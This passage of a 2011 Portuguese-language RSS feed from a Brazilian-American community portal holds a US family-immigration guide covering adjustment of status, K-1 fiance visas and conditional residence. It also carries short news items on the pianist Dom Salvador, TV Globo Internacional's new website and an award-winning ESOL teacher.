<p>Os demais cônjuges de residentes permanentes legais que entraram ilegalmente nos Estados Unidos ou tenham se tornado ilegais, deverão processar o visto e talvez tenham que solicitar um perdão para os 3/10 anos de impedimento. Além disso, a data de prioridade deve estar corrente antes de submeter o pacote de Ajuste de Status.</p>
<p>Para se obter uma data de prioridade, deve-se submeter o formulário I-130 Petição para o Parente Estrangeiro em nome do seu esposo(a). Uma vez que que o I-130 for aprovado, você receberá uma Notificação de Aprovação, que informará a data de prioridade. Em seguida, um número de visto, através do Departamento de Estado, deve estar imediatamente disponível, mesmo que você já esteja nos Estados Unidos. Se você recebe um número de visto de imigrante, isto significa que lhe designaram um visto de imigrante. As leis americanas limitam o número de vistos de imigrante disponíveis a cada ano, por preferência e datas de prioridade. Isto significa que mesmo que o USCIS aprove uma petição de visto de imigrante, você talvez não recebe um número de visto imediatamente. Na maioria das categorias, a espera pode levar vários anos entre o tempo que o USCIS aprova sua petição de visto de imigrante e que o Departamento de Estado lhe forneça um número de visto. Veja Datas de Prioridade.</p>
<p>A solicitação de ajuste de status é submetida junto ao escritório local do USCIS da jurisdição que corresponda ao seu local de residência do requerente (patrocinador). O pacote é geralmente submetido com uma solicitação para autorização de trabalho. Poucos meses depois uma notificação é enviada diretamente ao solicitante para (1) comparecer para processamento da autorização de trabalho (EAD) (2) tomar as impressões digitais (3) comparecer para a entrevista de ajuste de status.</p>
<p>Notas especiais</p>
<p>Se você é casado menos de dois anos quando seu esposo (a) for aprovado para residência permanente, seu esposo (a) receberá o status de residente permanente condicional.</p>
<p>Se você for casado menos de 2 anos na data da entrevista de ajuste o seu esposo (a) obterá o status de residência permanente condicional por um período de 2 anos. No final de 2 anos você deverá submeter uma petição para transformar o greencard em permanente (I-751). Se você se separar antes do final de 2 anos, você ainda pode solicitar a conversão do seu greencard condicional para permanente, submetendo o formulário I-751 Pedido de Perdão.</p>
<p>Se for casado mais de 2 anos na data da entrevista, o esposo (a) ganhará o greencard permanente válido por 10 anos.</p>
<p>Dois anos e nove meses depois do recebimento do greencard condicional, você se qualifica para pedir a cidadania americana.</p>
<p>Se você não está vivendo com o esposo (a) patrocinador, então o pedido de cidadania pode ser feito somente com 4 anos e 9 meses depois do recebimento do greencard condicional.</p>
<p>Autorização de Trabalho</p>
<p>Uma vez que o pacote de ajuste de status é submetido ao USCIS, o solicitante se torna elegível para requerer uma permissão de trabalho enquanto o seu caso está pendente. O formulário I-765, Solicitação para Autorização de Trabalho é utilizado para esta finalidade.</p>
<p>Crianças acompanhantes</p>
<p>Petições separadas devem ser submetidas para qualquer filho menor de 21 anos de idade que estão viajando com aqueles que não são cidadãos americanos.</p>
<p>Se seus filhos não são filhos do cônjuge cidadão americano, eles podem se qualificar para o status de imigrante como enteados de um cidadão americano, comprovando que eles têm menos de 18 anos de idade no tempo de seu casamento com o cônjuge cidadão americano.</p>
<p>Se você tiver qualquer filho maior de 21 anos de idade ou que era maior de 18 anos de idade no tempo do casamento com o cônjuge cidadão americano, eles deverão qualificar para imigração numa categoria separada, e não poderão viajar imediatamente.</p>
<p>·Esposo(a) falecido(a)</p>
<p>O esposo de um cidadão americano falecido pode qualificar para imigração dos Estados Unidos como um parente imediato imigrante contanto que tenha estado casado ao menos dois anos quando da ocasião em que a morte ocorreu, e a aplicação é arquivada dentro de 2 anos apos a morte.</p>
<p>A primeira etapa para estabelecer sua elegibilidade para imigrar aos Estados Unidos é apresentar uma petição de visto de imigrante para você no escritório do serviço de Imigração e Naturalização (USCIS) que tem jurisdição sobre seu lugar de residência:</p>
<p>·Se você e seu esposo cidadão americano (peticionário) residiam no exterior na época da morte de seu esposo, a petição pode ser arquivado em um escritório do Consulado Americano. A prova de residência no país e exigida. Se a petição for aprovada, o USCIS enviará uma petição aprovada para o Departamento de Visto na Embaixada para posterior processamento.</p>
<p>·Se você residia no estrangeiro enquanto seu esposo residia nos EUA antes da morte, você deverá aplicar através do escritório do USCIS que tiver jurisdição sobre a residência americana. O processo pode levar vários meses. O USCIS enviará uma petição aprovada do Centro Nacional de Visto para posterior processamento. O endereço ao Centro Nacional de Visto (NVC) e 32 Rochester Avenue, Portsmouth, New Hampshire, 03801-2909. O número disponível ao público para questões é 603-334-0700.</p>
<p>·NVC irá emitir um pacote para você preparar. Este pacote contém toda a informação vital necessitada para aprovar o visto permanente (greencard). Você enviará o pacote completo e preenchido ao Consulado dos EUA com jurisdição sobre o local de residência de seu esposo americano.</p>
<p>·Consulado dos Americano irá notificar a data da entrevista e do endereço para o exame médico e coleta das impressões digitais médicas.</p>
<p><strong>DICA IMPORTANTE:</strong></p>
<p><strong>Ajuste o seu status legal enquanto estiver no pais com visto valido </strong></p>
<p>O(A) viúvo(a) de um cidadão americano pode qualificar para o &#8221; ajuste do status &#8221; quando nos Estados Unidos como um parente imediato. Isto pode ser feito somente quando o esposo estrangeiro (1) entrou com um visto ou programa da renúncia do visto (quando da entrada ilegal) (2) apresentou uma aplicação para o status de imigrante com o USCIS antes de 4/30/01 ou com o Departamento do Trabalho para a contrato de trabalho antes de 4/30/01. Todos os demais que entraram ilegalmente nos Estados Unidos terão que fazer o processamento do visto e poderão ter que se aplicar para uma renúncia da barra 3 a 10 anos.</p>
<p>O aplicação para ajuste de status é arquivado com o escritório local do USCIS que tem jurisdição sobre a residência do peticionário. O pacote é arquivado geralmente com uma aplicação para a autorização do emprego e se desejado com o pedido de permissão viajar durante o processo ( Avance Parole). Alguns meses mais tarde uma carta-notícia e enviada ao aplicante para (1) aparecer para o processamento da autorização de trabalho, (2) coleta de impressões digitais e (3) comparecerem a entrevista do ajuste de status.</p>
<p>Noivo(a) americano(a)</p>
<p>O Serviço de Imigração e Naturalização (USCIS) estima que 20,000 pedidos de vistos para noivos são apresentados anualmente. As petições para noivos fornecem um procedimento aerodinâmico para cidadãos americanos (não para residentes) para simplificar o casamento com estrangeiros, obtendo para o noivo estrangeiro &#8221; um visto não imigrante K 1&#8243;, e para suas crianças menores (menor de 21) &#8221; um visto não imigrante K 2&#8243; que permite o estrangeiro entrar nos EUA para se casar. Uma vez que uma petição de noivo é aprovada, está e enviada ao Consulado Americano no país de residência do imigrante aplicante. Na porta da entrada o noivo(a) receberá a autorização para o trabalho. Os noivos devem casar-se dentro do período de 90 dias a contar da entrada do estrangeiro nos EUA, ou perderão seu status legal e ficarão sujeitos à deportação. Conforme às emendas técnicas à lei de &#8221; visto K 1 &#8221; o aplicante deve casar com o noivo para poder aplicar para o ajuste de status. Ou seja, se a partes não casarem, e se separarem, e o noivo estrangeiro casar subsequentemente um outro cidadão dos EUA, o estrangeiro não poderá ajustar o status nos EUA. Ele ou ela, teriam que sair do país e entrar novamente como residente condicional. Se a união ocorrer, o K-1 não imigrante e as crianças K-2 podem ser ajustados ao status de residência permanente condicional (válido por dois anos). Este é um procedimento separado chamado ajuste do status. Um kit está disponível para este procedimento.</p>
<p>O Status de Residente Condicional</p>
<p>Para restringir o observado abuso &#8220;noivos ordenados pelo correio&#8221; e para segurar que os casais permaneçam casados, o ato de Imigração e Fraude foi aprovada. O ato fez duas mudanças significativas da lei original através de restrições a petições de noivos. Primeiramente, adicionou uma exigência que os partidos devessem se ter encontrado pelo menos dois anos antes de arquivar a petição para o noivo. Em segundo, criou um status novo chamado &#8220;residente provisório condicional.&#8221; Sob a lei atual, dentro de 90 dias da conclusão de 2 anos como um residente condicional, uma aplicação para a remoção do status condicional e a conversão de residência permanente deverá ser arquivada. Este é um procedimento separado para o qual há um kit disponível.</p>
<p>Exigências Básicas para Obter um Visto de Fiancé</p>
<p>Você é um cidadão Americano, e você e seu noivo(a) estão ambos livres para casar-se, e encontraram-se a pelo menos dois anos.</p>
<p>Documentando a petição. A petição para noivos e todos os documentos originais que a suportam devem ser arquivados pelo noivo(a) cidadão com o centro de serviço regional apropriado do USCIS que tem o jurisdição sobre a residência do aplicante. Isto é feito geralmente nos Estados Unidos. As novas exigências estatutárias forçaram os aplicantes para o visto de noivos para documentar os exemplos onde o casal se encontrou com informações sobre os últimos dois anos. Tal evidência pode incluir cópias de bilhetes de linha aérea, carimbos de passaporte, fotos do casal junto, e suporte de terceiros que têm o conhecimento dos encontros. A evidência da boa intenção de um par em casar-se pode incluir cópias a correspondência ou contas telefônicas interurbanas. Você deverá super-documentar estes casos porque o USCIS e os oficiais consulares estão exigindo mais evidências para pretendentes ao visto &#8221; K &#8221; do que requeridos antes da lei nova.</p>
<p>Primeira exceção às exigências precedentes ao casamento. Isenção feita sob encomenda estabelecida. Ao passar esta lei no Congresso, os legisladores estavam também cientes que em alguns países, a prática de casamentos pre-arranjados, não baseadas no amor, é ainda comum. Nestes países, é rigoroso e pré-estabelecido o costume de impedir o encontro entre o casal durante o período entre arranjo da união e dia do casamento. Para acomodar estas situações, a lei permite que o advogado geral renuncie a exigência do conhecimento &#8220;em sua discrição.&#8221; Para satisfazer à primeira isenção, a petição deve mostrar que a reunião pessoal viola costumes estabelecidos e que todos aspectos restantes dos arranjos tradicionais da união foram seguidos. Nos casos onde o casal está seguindo práticas cultural ou sociais, devem submeter affidavits de serviços oficiais religiosos ou outros apropriados que atestam aos detalhes daqueles arranjos tradicionais. As cartas dos membros da família podem também ajudar a provar o estabelecimento de exigências para que os pares não se encontrem antes do casamento.</p>
<p>A segunda exceção às exigências precedentes do casamento. &#8211; exceção extrema dificuldade. Uma outra exceção está disponível para aqueles que experimentam dificuldade extrema se forçado a cumprir com esta exigência. Se o peticionário estiver reivindicando dificuldade extrema, este deve submeter toda a evidência possível suportando seu pedido. Isto pôde incluir a evidência do conhecimento antes do período de dois anos; problemas políticos que impedem a visita ao país do noivo; problemas que impedem o noivo de sair de seu pais e viajar aos EUA; barreiras financeiras; ou problemas médicos que afetaram a mobilidade de uma ou outra parte. O regulamento não oferece nenhuma orientação para a definição o termo &#8220;Extreme Hardship &#8211; dificuldade extrema&#8221; sob a segunda opção da renúncia. De fato, há pouca orientação no estatuto, regulamento, ou no histórico do legislativo a respeito de fatores que o USCIS deve considerar para conceder isenções sob qualquer uma das duas condições. Em consequência, os peticionários devem fornecer tanta documentação quanto possível para mostrar boa intenção em casar-se e a elegibilidade para a isenção pedida. Há muitas situações onde as partes poderiam reivindicar uma dificuldade legitima que as impediu de se encontrarem durante os dois anos precedentes. São comuns os casos onde os pares se encontraram e continuaram um relacionamento por telefone, mas devido à razões financeiras, políticas ou médicas foram incapaz de se encontrar durante os dois anos precedentes.</p>
<p>Intenção de casar-se dentro de 90 dias. Você e seu noivo(a) pretendem casar-se dentro de 90 dias de seu da entrada dele ou dela nos Estados Unidos.</p>
<p>Procedimento Após a Entrada nos Estados Unidos.</p>
<p>Seu noivo estrangeiro pode aplicar para o status de residente permanente condicional depois que você terem participado de uma união válida executada no período de 90 dias a contar da entrada de seu noivo nos Estados Unidos. Seu esposo deve aplicar prontamente no Serviço do Imigração e Naturalização para o ajuste de status à residência permanente condicional usando o formulário I-485. Um kit de parente imediato está disponível.</p>
<p>Ele ou Ela tornar-se-á um residente permanente condicional por um período dois anos começando na data do ajuste ao status condicional. Os direitas, privilégios, responsabilidades e os deveres que se aplicam aos residentes permanentes, aplicam-se igualmente a um residente permanente condicional. Por exemplo, um residente permanente condicional tem direito aplicar-se para o naturalização, sob determinadas circunstâncias, direito de peticionar no interesse de parentes, ou residir permanentemente nos Estados Unidos como imigrante de acordo com as leis de imigração.</p>
<p>Ambos você e seu esposo residente permanente condicional devem arquivar uma petição, formulário I-751, petição comum para remover a base condicional do status residente permanente do estrangeiro, durante o período de 90 dias imediatamente antes do segundo aniversário da data em que ao seu esposo estrangeiro foi concedida a residência permanente condicional. Crianças que foram admitidas como os residentes permanentes condicionais podem ser incluídos na petição comum para remover as as condições.</p>
<p>·Filho(a) casado(a)</p>
<p>O filho ou a filha casada de um cidadão americano e elegível para a imigração na categoria da preferência. Enteados podem também qualificar desde que a criança estava sob a idade de 18 na altura do casamento do pai/mãe com o cidadão dos americano.</p>
<p>Filho Casado De um Cidadão Dos Americano Dentro Dos Estados Unidos</p>
<p>O filho ou a filha casada de um cidadão americano podem qualificar para o &#8220;ajuste de status&#8221; quando nos Estados Unidos como um imigrante de preferência. Isto pode ser feito somente se o filho ou a filha (1) entraram com um visto ou programa de renúncia de visto estando ainda no status legal ou (2) se entrarem ilegal ou fora do status mas possuem uma aplicação para status de imigrante com o USCIS arquivada antes de 4/30/01 ou com o departamento do trabalho através de Contrato de Trabalho até 4/30/01 e a data da prioridade é atual.</p>
<p>Todas filhos ou filhas restantes dos cidadãos americanos que entraram ilegalmente nos Estados Unidos ou estão fora do status legal têm que Processar o Visto e podem ter que se inscrever com o USCIS para uma renúncia da barra de 3 a 10-anos.</p>
<p>A inscrição junto ao USCIS para o ajuste de status é arquivada no escritório local do USCIS que tem o jurisdição sobre a residência do peticionário. O pacote é arquivado geralmente com uma aplicação para a autorização de trabalho, e se desejado, com um pedido de permissão para viajar durante o processo (Parole Advance). Alguns meses mais tarde uma carta/notícia e enviada diretamente ao aplicante para (1) comparecer para o processamento da Autorização de Trabalho (2) coleta de impressões digitais (3) comparecer para a entrevista do ajuste. Na data da entrevista do ajuste, a você deve ser concedido um visto imigrante permanente (greencard). O filho ou a filha podem arquivar para a cidadania americana 4 anos e 9 meses após a aprovação do visto permanente (greencard).</p>
<p>Filho Casado de Cidadão Americano no Exterior</p>
<p>A primeira etapa em estabelecer sua elegibilidade para imigrar aos Estados Unidos é pedir ao seu pai ou mãe cidadão americano para arquivar uma petição para visto de imigrante no o escritório do Serviço de Imigração e Naturalização (USCIS) que tem o jurisdição sobre o lugar de residência do parente americano nos EUA</p>
<p>·Se o peticionário (pai) residir atualmente no exterior, ele pode arquivar a petição no Escritório do USCIS na embaixada do lugar em que se encontra. A prova da residência no país é requerida se a petição for aprovada, USCIS emitirá a petição aprovada de visto de imigrante a esta embaixada para o posterior processamento do visto.</p>
<p>·Se seu pai americano residir nos EUA deverá arquivar a petição no escritório do USCIS que tem o jurisdição sobre seu lugar de residência nos Estados Unidos. O processamento pode levar diversos meses. O USCIS emitirá a petição aprovada ao centro nacional do visto (NVC) para posterior processamento. O endereço do NVC é 32 Rochester Avenue, Portsmouth, 03801-2909, New-Hampshire. O número de auxílio ao público é 603-334-0700.</p>
<p>·O NVC emitirá um pacote para ser preenchido. Este pacote contem toda a informação vital necessária para aprovar o visto permanente (greencard). Você enviará o pacote completo ao consulado americano do lugar onde o seu pai reside.</p>
<p>·O Consulado americano notificá-lo-á da data da entrevista e o endereço para a coleta de impressões digitais e exames médicos uma vez que a data da prioridade se torna atual.</p>
<p>Acompanhando Esposo e Filhos</p>
<p>O esposo e as crianças menores de vinte e um anos que estão viajando com o filho ou a filha casada de cidadão americano podem ser incluídos na petição.</p>
<p>·Filho(a) solteiro(a)</p>
<p>Os filho solteiro de um Residente Permanente Legal (LPR), se for da (Segunda Preferência A) ou acima de 21 anos de idade (Segunda Preferência B), é elegível para imigração na Segunda Preferência. Enteados também podem se qualificar, desde que a criança estivesse com menos de 18 na ocasião do casamento do pai/mãe com o LPR.</p>
<p>Se o Filho/Filha Solteiro está nos Estados Unidos</p>
<p>O filho de um LPR pode se qualificar para &#8220;ajuste de status&#8221; quando nos Estados Unidos como um imigrante de segunda preferência. Isto pode ser feito somente se o filho ou a filha (1) entraram com um visto ou programa de dispensa de visto estando ainda em status legal ou (2) se entrarem ilegal ou se estão fora de status mas possuem uma aplicação para status de imigrante com o USCIS protocolada antes de 4/30/01 ou com o Departamento do Trabalho através de Contrato de Trabalho até 4/30/01 e a data da prioridade está corrente. Todas os demais filhos de LPR que entraram ilegalmente nos Estados Unidos ou que estão fora de status deverão Processar o Visto e podem ter que solicitar um perdão para o impedimento de 3 e 10 anos.</p>
<p>O pedido de ajuste de status é submetido no escritório local do USCIS da jurisdição que corresponda ao local de residência do requerente (patrocinador). O pacote geralmente é submetido com uma solicitação para Autorização de Trabalho, e se desejar com um pedido de permissão para viajar durante o processo (Advance Parole). Poucos meses mais tarde uma notificação é enviada diretamente ao solicitante para (1) comparecer para o processamento da Autorização de Trabalho (EAD) (2) tomar as impressões digitais (3) comparecer para a entrevista de ajuste de status. Na data da entrevista de ajuste de status você deve ganhar um visto de imigrante permanente (greencard). O filho/filha pode pedir a cidadania americana 4 anos e 9 meses depois da aprovação do visto permanente (greencard).</p>
<p>Se os Filho/Filha Solteiro está fora dos Estados Unidos</p>
<p>A primeira etapa em estabelecer sua elegibilidade para imigrar aos Estados Unidos é ter um pai ou mãe residente permanente para submeter uma petição de visto de imigrante para o filho/filha junto ao escritório do Serviço de Imigração e Naturalização (USCIS), cuja jurisdição corresponda ao seu local de residência:</p>
<p>Se o pai/mãe LPR (o peticionário) residir atualmente no exterior, ele/ela pode submeter a petição no Escritório do USCIS na embaixada do lugar em que se encontra. A prova da residência no país é requerida se a petição for aprovada, USCIS enviará a petição de visto de imigrante aprovada para o Setor de Visto de Imigrante daquela Embaixada para o posterior processamento do visto.</p>
<p>Se o pai/mãe LPR residir nos Estados Unidos, ele/ela devem submeter a petição junto ao escritório do USCIS cuja jurisdição corresponda ao seu local de residência nos Estados Unidos. O processamento pode levar vários meses. O USCIS enviará a petição aprovada ao Centro Nacional de Vistos (NVC) para posterior processamento. O endereço do NVC é 32 Rochester Avenue, Portsmouth, New Hampshire 03801-2909. O número de telefone para informações ao público é 603-334-0700.</p>
<p>O NVC emitirá um pacote para ser preenchido. Este pacote contem toda a informação vital necessária para aprovar o visto permanente (greencard). Você enviará o pacote completo ao consulado americano do local onde o seu pai/mãe reside.</p>
<p>O consulado americano notificá-lo-á da data da entrevista e o endereço para a tomada de impressões digitais e exames médicos, uma vez que a data da prioridade se tornar corrente.</p>
<img src="http://thebrasiliansonline.com/portal/?ak_action=api_record_view&id=225&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://thebrasiliansonline.com/portal/?feed=rss2&amp;p=225</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>O mestre Dom Salvador  e “A arte do samba jazz”</title>
		<link>http://thebrasiliansonline.com/portal/?p=221</link>
		<comments>http://thebrasiliansonline.com/portal/?p=221#comments</comments>
		<pubDate>Thu, 05 May 2011 11:07:37 +0000</pubDate>
		<dc:creator>Editor</dc:creator>
				<category><![CDATA[Pessoas]]></category>

		<guid isPermaLink="false">http://thebrasiliansonline.com/portal/?p=221</guid>
		<description><![CDATA[Dom Salvador, é conhecido como o pioneiro do samba-soul.  Em seu novo CD, “Dom Salvador Sexteto, The Art of Samba Jazz”, mostra um pouco da história de suas façanhas.
Eis a sua história.  
No ...]]></description>
			<content:encoded><![CDATA[<p><a href="http://thebrasiliansonline.com/portal/wp-content/uploads/2011/05/domsalvador3.jpg"><img class="alignleft size-medium wp-image-222" title="domsalvador3" src="http://thebrasiliansonline.com/portal/wp-content/uploads/2011/05/domsalvador3-300x197.jpg" alt="" width="300" height="197" /></a>Dom Salvador, é conhecido como o pioneiro do samba-soul.  Em seu novo CD, “Dom Salvador Sexteto, The Art of Samba Jazz”, mostra um pouco da história de suas façanhas.</p>
<p>Eis a sua história.  <span id="more-221"></span></p>
<p>No início dos anos 60, Salvador da Silva Filho, um paulista de Rio Claro, já era conhecido em boates badaladas de São Paulo, como a Lancaster, a Baiuca e a Cave.</p>
<p>Ao se mudar para o Rio, em 1964, logo chamou a atenção no Beco das Garrafas, reduto da bossa nova. Integrando o Copa Trio, acompanhou e gravou com futuros astros da MPB, como Jorge Ben e Elis Regina. Foi graças às escavações em arquivos de gravadoras pelo Titã Charles Gavin que Dom Salvador voltou a chamar a atenção com o relançamento do álbum “Som, Sangue e Raça”, de 1971, um marco da música black brasileira remasterizado em versão digital.</p>
<p>Por volta de 1956-57, o grupo “A Turma da Gafieira” foi criado com a participação de excelentes músicos: Zé Bodega (tenor), Sivuca (acordeom), Raul de Souza (trombone), Santos (trompete), Nestor Campos (guitarra), Altamiro Carrilho (flauta), Paulinho (piano), Edison Machado (bateria), e Luiz Marinho (baixo). Muitos outros grupos desse tempo também foram importantes e devemos mencionar: Breno Sauer Quinteto, Quarteto Excelsior, Siles e seu Conjunto, Donato e seu Grupo, Copinha e seu Conjunto, Kximbinho, Robledo, Luiz Gaucho, Carolina Cardoso de Menezes, Zé Menezes, Paulo Moura, Cipó, Astor, Os Copacabanas, e Chiquinho do Acordeom.</p>
<p>O movimento bossa nova que começou em 1958 foi fortemente influenciado pelo jazz da costa oeste americana. Foi baseado em maravilhosas melodias e harmonias, suaves e românticas. Nesse período, muito músicos se movimentaram para criar uma música paralela à bossa nova. Sérgio Mendes foi o líder do melhor grupo dessa fase, O Sexteto Bossa Rio, incluindo músicos de primeira linha como Raul de Souza, Edison Maciel, Hector Costita, Edison Machado e Tião Neto. Os grupos também importantes neste período foram: Meireles e os Copa 5, Pedro Paulo, Luiz Carlos Vinhas, Manuel Gusmão, Dom Um Romão, Zimbo Trio (Amilton Godoy, Luiz Chaves, Rubinho Barsotti), Rio 65 Trio (Dom Salvador, Edison Machado, Sérgio Barrozo), João Donato, Tenório Jr. Trio, Zezinho Alves, Milton Banana, Salvador Trio, Edson Lobo, Victor Manga, Toninho Pinheiro, Cidinho Teixeira, Laércio de Freitas, Fats Elpídio e o Sambalanço Trio (César Camargo Mariano, Clayber e Airto Moreira).</p>
<p>Em seu novo CD, Dom Salvador revisita as suas composições originais e seu magnífico sexteto num ambiente da era pré-bossa nova. Se o termo jazz-samba foi criado pelo produtor norte-americano Creed Taylor com o lançamento do álbum do mesmo nome com Stan Getz e Charlie Byrd, no Brasil dos anos 50 já existia essa fusão, como fala Dom Salvador no encarte do CD.</p>
<p>“Samba Jazz” é a combinação do jazz americano e o samba, e podemos encontrá-lo por volta de 1920 na música do nosso adorável Pixinguinha. Essa influência vem forte da música de Nova Orleans, das bandas de Dixieland e do Fox Trot, o que era uma música de total improvisação. Pelos anos 40, começou a coletar harmonias mais modernas e sofisticadas. Simultaneamente, em especial no Rio de Janeiro, as Gafieiras abriram caminho para as grandes bandas como as orquestras americanas da mesma época.</p>
<p>“Dom Salvador Sextet, The Art of Samba Jazz”é composto por Dom Salvador no piano, Laura Dreyer Alto no Sax, Rodrigo Ursaia no tenor e sax, Luiz Bonilla no trombone, Itaiguara Brandão no baixo e Maurício Zottarelli na bateria.<br />
Dom Salvador vive nos EUA desde os anos 70 e para  mais informações sobre este genial artista , acesse o portal<br />
<a href="http://www.domsalvador.com" target="_blank">www.domsalvador.com</a></p>
<img src="http://thebrasiliansonline.com/portal/?ak_action=api_record_view&id=221&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://thebrasiliansonline.com/portal/?feed=rss2&amp;p=221</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>TV Globo em busca de novos mercados internacionais</title>
		<link>http://thebrasiliansonline.com/portal/?p=204</link>
		<comments>http://thebrasiliansonline.com/portal/?p=204#comments</comments>
		<pubDate>Wed, 13 Apr 2011 21:23:45 +0000</pubDate>
		<dc:creator>Editor</dc:creator>
				<category><![CDATA[Enfoque]]></category>

		<guid isPermaLink="false">http://thebrasiliansonline.com/portal/?p=204</guid>
		<description><![CDATA[A Central Globo de Negócios Internacionais (CGNI) entre as diversas novidades apresentadas aos seus telespctadores, tanto na TV Globo Internacional, disponível por meio de satélite, cabo e IPTV nos cinco continentes, quanto na área de ...]]></description>
			<content:encoded><![CDATA[<div id="attachment_205" class="wp-caption alignleft" style="width: 310px"><a href="http://thebrasiliansonline.com/portal/wp-content/uploads/2011/04/globo001.jpg"><img class="size-medium wp-image-205" title="globo001" src="http://thebrasiliansonline.com/portal/wp-content/uploads/2011/04/globo001-300x199.jpg" alt="" width="300" height="199" /></a><p class="wp-caption-text">Raphael Corrêa Netto, diretor de vendas internacionais e Marcelo Spínola, diretor de distribuição da TV Globo Internacional celebram o lancamento do novo website do canal (www.tvglobointernacional.com.br), o site que permitirá aos brasileiros e comunidades de língua portuguesa uma proximidade maior com o seu povo e sua cultura. </p></div>
<p>A Central Globo de Negócios Internacionais (CGNI) entre as diversas novidades apresentadas aos seus telespctadores, tanto na TV Globo Internacional, disponível por meio de satélite, cabo e IPTV nos cinco continentes, quanto na área de licenciamento e coproduções &#8211; representada pela Divisão de Vendas Internacionais anuncia o lancamento de um novo website do canal (<span style="text-decoration: underline;"><a href="http://www.tvglobointernacional.com.br/">www.tvglobointernacional.com.br</a></span>) com o objetivo de aproximar as comunidades de lingua portuguesas.<span id="more-204"></span></p>
<p><strong><span style="text-decoration: underline;">TV Globo Internacional</span></strong></p>
<p>A TV Globo Internacional lancada ha cerca de dez anos mostra um desenvolvimento significativo. Iniciou o ano de 2011 com perspectivas de crescimento animadoras. O canal terminou 2010 com um aumento de 5% em sua base de clientes <em>Premium </em>e 570 mil assinantes, além de um aumento de faturamento de 14%, nos últimos três anos. Outra conquista do canal é o aumento do número de operadoras parceiras. Atualmente o sinal da TV Globo Internacional pode ser assistido por meio de 67 operadoras distribuídos em países estratégicos como Estados Unidos, Portugal, Angola, entre outros. No ano passado 11 novos parceiros foram conquistados.</p>
<p>E para estar ainda mais perto de seus assinantes, a TV Globo Internacional investe nas mídias sociais. Prova disso é o perfil no microblog @tvglobo_inter que, em três meses, passou a ter 12 mil seguidores. Nele, o assinante pode saber informações de bastidores da programação, além de acompanhar seus programas favoritos, fazer seus comentários e sugestões.</p>
<p>O novo website do canal (<span style="text-decoration: underline;"><a href="http://www.tvglobointernacional.com.br/">www.tvglobointernacional.com.br</a></span>) recem lançado permite aos brasileiros e comunidades de língua portuguesa uma proximidade maior com o seu povo e sua cultura. Dentre as novas ferramentas de navegação estão: a possibilidade de colocar vídeos exclusivos no site, notícias quentes sobre a programação e identificação por IP, ou seja, cada um dos sinais do canal verá uma página exclusiva para seu território.</p>
<p>O novo site também está conectado com as redes sociais, com link para o perfil da TV Globo Internacional (@tvglobo_inter). E, como grande diferencial, foi criado Clube TVGI – um ponto de encontro dos brasileiros no exterior – e que agora atua como uma rede social. Este será um espaço para os brasileiros e a comunidade de língua portuguesa, espalhados no mundo inteiro, interagirem por meio de mensagens, fotos, blogs, vídeos, fóruns. “A ideia é que nos tornemos um ponto de encontro para essas pessoas que têm coisas em comum: falam a mesma língua e amam a TV Globo. Então, criamos um espaço único para que elas interajam, afinal, “A gente se vê por aqui” também na internet!”, destaca Marcelo Spínola, diretor da TV Globo Internacional.</p>
<p>Para a divulgação deste novo canal foi criada uma campanha exclusiva que tem como slogan “Novo site da TV Globo Internacional. Seu Mundo. Sua Língua. Seu Espaço” que tem por objetivo aumentar a interação entre as pessoas que gostam da programação da TV Globo em todo mundo.  Além de investir em expansão de seu sinal e tecnologia, a TV Globo Internacional tem uma constante preocupação com a qualidade de sua programação. E, esse ano, oferecerá os seguinte programas exclusivos aos seus assinantes.</p>
<img src="http://thebrasiliansonline.com/portal/?ak_action=api_record_view&id=204&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://thebrasiliansonline.com/portal/?feed=rss2&amp;p=204</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Professora do ano</title>
		<link>http://thebrasiliansonline.com/portal/?p=199</link>
		<comments>http://thebrasiliansonline.com/portal/?p=199#comments</comments>
		<pubDate>Wed, 13 Apr 2011 21:20:02 +0000</pubDate>
		<dc:creator>Editor</dc:creator>
				<category><![CDATA[Pessoas]]></category>

		<guid isPermaLink="false">http://thebrasiliansonline.com/portal/?p=199</guid>
		<description><![CDATA[Paula da Silva Michelin, do La Guardia Community College, uma das mais prestigiadas escolas de Nova York,  foi escolhida como a Professora do Ano de 2010, no dia 6 de abril de 2011. Ainda estudando ...]]></description>
			<content:encoded><![CDATA[<p><a href="http://thebrasiliansonline.com/portal/wp-content/uploads/2011/04/paula.jpg"><img class="alignleft size-medium wp-image-202" title="paula" src="http://thebrasiliansonline.com/portal/wp-content/uploads/2011/04/paula-219x300.jpg" alt="" width="219" height="300" /></a>Paula da Silva Michelin, do La Guardia Community College, uma das mais prestigiadas escolas de Nova York,  foi escolhida como a Professora do Ano de 2010, no dia 6 de abril de 2011. Ainda estudando no Brasil, tinha como sonho ensinar inglês nos Estados Unidos para estudantes estrangeiros. <span id="more-199"></span></p>
<p>Apesar de suas dúvidas naquela época, Paula Michelin obteve a sua pós graduação em linguística, especializando-se no idioma inglês, e conseguiu um emprego no LaGuardia College, de professora de inglês, como segunda língua, para os imigrantes iniciantes no aprendizado.</p>
<p>Este reconhecimento deu-se através do jornal The New York Times, que recentemente a nomeou como Professora do Ano para ESOL (Inglês para Falantes de Outras Línguas). Uma instrutora em tempo integral, no Centro de Educação e Formação para Imigrantes  (CIET) desde 2002, a Sra. da Silva Michelin obteve a maioria das indicações, nesta competição municipal, que reconheceu os educadores que consistentemente se destacaram em ajudar os estudantes adultos aprender inglês e a desenvolver as habilidades que precisam, para criar uma nova e bem sucedida vida nos Estados Unidos.</p>
<p>&#8220;The New York Times tem o prazer de reconhecer a Sra. Da Silva Michelin pelo seu excelente trabalho no campo da educação de adultos, ESOL&#8221;, disse Diane McNulty, diretora executiva de comunicação corporativa, do The New York Times Company. &#8220;Como  uma imigrante e estudante do ESOL, experiência própria, ela encarna as esperanças dos mais novos moradores da nossa nação. Como uma dedicada professora e mentora, ela cumpre a promessa de melhores oportunidades para seus alunos, ao mesmo tempo, que torna a nossa comunidade mais forte para todos os seus habitantes. &#8221;</p>
